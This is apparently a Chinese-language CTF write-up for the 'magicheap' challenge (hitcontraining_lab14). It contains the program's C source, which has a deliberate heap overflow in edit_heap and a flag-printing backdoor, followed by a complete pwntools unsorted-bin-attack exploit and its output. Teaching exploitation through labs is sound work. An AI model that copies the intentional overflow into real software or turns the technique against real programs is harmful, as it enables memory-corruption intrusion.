magicheap Writeup

TOC

  1. 1. 源码
  2. 2. 程序简介
    1. 2.1. 安全防护
    2. 2.2. 主要功能
    3. 2.3. 全局变量
    4. 2.4. create_heap
    5. 2.5. edit_heap
    6. 2.6. delete_heap
    7. 2.7. 后门函数
  3. 3. 漏洞
  4. 4. 思路
  5. 5. 脚本

题目地址:hitcontraining_lab14

考察漏洞:Unsorted Bin Attack。

源程序下载:magicheap

源码

magicheap.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf, size_t size)
{
int ret;
ret = read(0, buf, size);
if (ret <= 0)
{
puts("Error");
_exit(-1);
}
}

char *heaparray[10];
unsigned long int magic = 0;

void menu()
{
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
printf("Your choice :");
}

void create_heap()
{
int i;
char buf[8];
size_t size = 0;
for (i = 0; i < 10; i++)
{
if (!heaparray[i])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
heaparray[i] = (char *)malloc(size);
if (!heaparray[i])
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
break;
}
}
}

void edit_heap()
{
int idx;
char buf[4];
size_t size;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx], size);
puts("Done !");
}
else
{
puts("No such heap !");
}
}

void delete_heap()
{
int idx;
char buf[4];
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
free(heaparray[idx]);
heaparray[idx] = NULL;
puts("Done !");
}
else
{
puts("No such heap !");
}
}

void l33t() { system("cat ./flag"); }

int main()
{
char buf[8];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while (1)
{
menu();
read(0, buf, 8);
switch (atoi(buf))
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
delete_heap();
break;
case 4:
exit(0);
break;
case 4869:
if (magic > 4869)
{
puts("Congrt !");
l33t();
}
else
puts("So sad !");
break;
default:
puts("Invalid Choice");
break;
}
}
return 0;
}

程序简介

安全防护

ex@ubuntu:~/test$ checksec magicheap 
[*] '/home/ex/test/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

主要功能

void menu()
{
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
printf("Your choice :");
}

全局变量

char *heaparray[10];
unsigned long int magic = 0;

create_heap

void create_heap()
{
int i;
char buf[8];
size_t size = 0;
for (i = 0; i < 10; i++)
{
if (!heaparray[i])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
heaparray[i] = (char *)malloc(size);
if (!heaparray[i])
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
break;
}
}
}

根据用户输入的size来申请heap并写入内容,写入的时候有溢出保护。heap被放在全局变量heaparray上。

edit_heap

void edit_heap()
{
int idx;
char buf[4];
size_t size;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx], size);
puts("Done !");
}
else
{
puts("No such heap !");
}
}

这里根据用户的的输入确定要编辑全局变量heaparray的索引并进行编辑,编辑的大小由用户的输入而定。

delete_heap

void delete_heap()
{
int idx;
char buf[4];
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
free(heaparray[idx]);
heaparray[idx] = NULL;
puts("Done !");
}
else
{
puts("No such heap !");
}
}

根据用户的的输入确定要free的全局变量heaparray的索引,free之后地址被设置为NULL,预防了UAF漏洞。

后门函数

case 4869:
if (magic > 4869)
{
puts("Congrt !");
l33t();
}

void l33t()
{
system("cat ./flag");
}

只要将全局变量修改为大于4869的值时,即可以获得flag。

漏洞

程序有UAF防护,但是在eidt部分却有heap overflow,我们可以通过heap overflow来间接实现Unsorted Bin Attack。

思路

直接heap overflow即可。申请两块chunk,不能是fastbin(小于160),然后free

掉后面一块chunk,用前面的chunk的溢出修改该后面chunk的bk值。

脚本

由于比较简单,所以直接贴脚本上来。这里就简单说一下我犯的一个小错误,在申请两个chunk时,忘记再申请一个chunk防止第二个chunk和top chunk合并。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./magicheap')
elf = ELF('./magicheap')
#context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def create_heap(size, content):
sh.sendline(str(1))
sh.recvuntil('Size of Heap : ')
sh.sendline(str(size))
sh.recvuntil('Content of heap:')
sh.sendline(content)
sh.recvuntil('Your choice :')

def edit_heap(index, size, name):
sh.sendline(str(2))
sh.recvuntil('Index :')
sh.sendline(str(index))
sh.recvuntil('Size of Heap : ')
sh.sendline(str(size))
sh.recvuntil('Content of heap : ')
sh.sendline(name)
sh.recvuntil('Your choice :')

def delete_heap(index):
sh.sendline(str(3))
sh.recvuntil('Index :')
sh.sendline(str(index))
sh.recvuntil('Your choice :')

magic_addr = 0x6020c0

# 清除流
sh.recvuntil('Your choice :')

# 注意这里不能太小,否则申请的是fastbin
create_heap(0x108, '') # 申请的这个chunk的size为 0x110
create_heap(0x108, '') # 申请的这个chunk的size为 0x110
create_heap(24, '') # 防止和top chunk合并

delete_heap(1) # 删除后面一块chunk

layout = [
'a'*0x100, # 偏移
p64(0), # 第二块chunk->prev_size
p64(0x110 + 1), # 第二块chunk->size
p64(0), # 第二块chunk->fd
p64(magic_addr - 8*2) # 第二块chunk->bk
]

# 构造 Unsorted Bin Attack 漏洞
edit_heap(0, len(flat(layout)), flat(layout))

# 触发 Unsorted Bin Attack漏洞
create_heap(0x108, '')

# get flag
sh.sendline('4869')
sh.interactive()

# 删除pid文件
os.system("rm -f pid")

执行结果:

ex@ubuntu:~/test$ echo flag{123456} > flag
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './magicheap': pid 4718
[*] '/home/ex/test/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
Congrt !
flag{123456}
--------------------------------
Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :$

总结

虽然Unsorted Bin Attack的用处不大,但是一个系统的攻破往往不是通过某单一漏洞而实现的,而是由于那些不起眼的漏洞组合起来,然后便成就了0day。